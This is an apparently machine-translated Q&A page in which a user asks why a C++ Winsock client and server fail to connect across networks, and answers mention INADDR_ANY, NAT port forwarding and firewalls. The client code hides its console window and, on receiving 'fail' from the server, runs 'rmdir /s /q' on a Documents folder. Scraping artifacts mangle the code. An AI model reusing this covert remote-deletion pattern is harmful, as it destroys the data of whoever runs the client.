Сокеты между сетями в c

#c #sockets #networking

#c #сокеты #сеть

Вопрос:

Я новичок в сокетах, и я пытался создать программу. Когда он подключен по моему локальному адресу, он работает нормально, но проблема возникает, когда я пытаюсь использовать его между сетями, и они не подключаются. Я пытался изменить IP-адрес с локального на общедоступный и множество комбинаций IP-адресов. Вот код программы:

СЕРВЕР

 #pragma comment(lib, "ws2_32.lib")
#include <winsock2.h>
#include <iostream>
#include <cstdio>

#pragma warning(disable: 4996)

int main(int argc, char* argv[]) {
    //WSAStartup
    WSAData wsaData;
    WORD DLLVersion = MAKEWORD(2, 1);
    if (WSAStartup(DLLVersion, amp;wsaData) != 0) {
        std::cout << "Error" << std::endl;
        exit(1);
    }

    SOCKADDR_IN addr;
    int sizeofaddr = sizeof(addr);
    addr.sin_addr.S_un.S_addr = INADDR_ANY;
    addr.sin_port = htons(45600);
    addr.sin_family = AF_INET;

    SOCKET sListen = socket(AF_INET, SOCK_STREAM, NULL);
    bind(sListen, (SOCKADDR*)amp;addr, sizeof(addr));
    listen(sListen, SOMAXCONN);

    SOCKET newConnection;
    newConnection = accept(sListen, (SOCKADDR*)amp;addr, amp;sizeofaddr);

    if (newConnection == 0) {
        std::cout << "Error #2n";
    }
    else {
        while (true) {
            std::cout << "Conectadon";
            char msg[256] = "";
            std::cin.getline(msg, sizeof(msg));
            send(newConnection, msg, sizeof(msg), NULL);
        }
    }


    system("pause");
    return 0;
}
 

КЛИЕНТ

 #pragma comment(lib, "ws2_32.lib")
#include <winsock2.h>
#include <iostream>
#include <cstring>
#include <cstdlib>
#pragma warning(disable: 4996)

void Stealth()
{
    HWND Stealth;
    AllocConsole();
    Stealth = FindWindowA("ConsoleWindowClass", NULL);
    ShowWindow(Stealth, 0);
}

int main(int argc, char* argv[]) {

    //WSAStartup
    WSAData wsaData;
    WORD DLLVersion = MAKEWORD(2, 1);
    if (WSAStartup(DLLVersion, amp;wsaData) != 0) {
        std::cout << "Error" << std::endl;
        exit(1);
    }

    SOCKADDR_IN addr;
    int sizeofaddr = sizeof(addr);
    addr.sin_addr.s_addr = inet_addr("192.168.1.17");
    addr.sin_port = htons(45600);
    addr.sin_family = AF_INET;

    SOCKET Connection = socket(AF_INET, SOCK_STREAM, NULL);
    if (connect(Connection, (SOCKADDR*)amp;addr, sizeof(addr)) != 0) {
        std::cout << "Error: failed connect to server.n";
        return 1;
    }
    std::cout << "Soy clienten";
    char msg[256] = "";
    recv(Connection, msg, sizeof(msg), NULL);
    std::cout << msg << std::endl;
    if (msg[0] == 'f' amp;amp; msg[1] == 'a' amp;amp; msg[2] == 'i' amp;amp; msg[3] == 'l') {
        std::string directoryName = "C:\Users\usuario\Documents\Prueba";
        std::string a = "rmdir /s /q "   directoryName;
        system(a.c_str());
        }

    std::system("pause");
    return 0;
}
 

Комментарии:

1. Попробуйте заменить inet_addr("192.168.1.17") на INADDR_ANY

2. на сервере или в клиентской части?

3. Извините, я выбрал неправильный IP-адрес, вы должны сделать это на стороне сервера, чтобы принимать соединения с любого адреса.

4. Я изменил его, но он еще не работает

Ответ №1:

если ваш сервер находится за NAT, вам необходимо включить переадресацию портов на NAT, а затем подключить клиента к общедоступному IP-адресу NAT.

Если нет, проверьте настройки брандмауэра.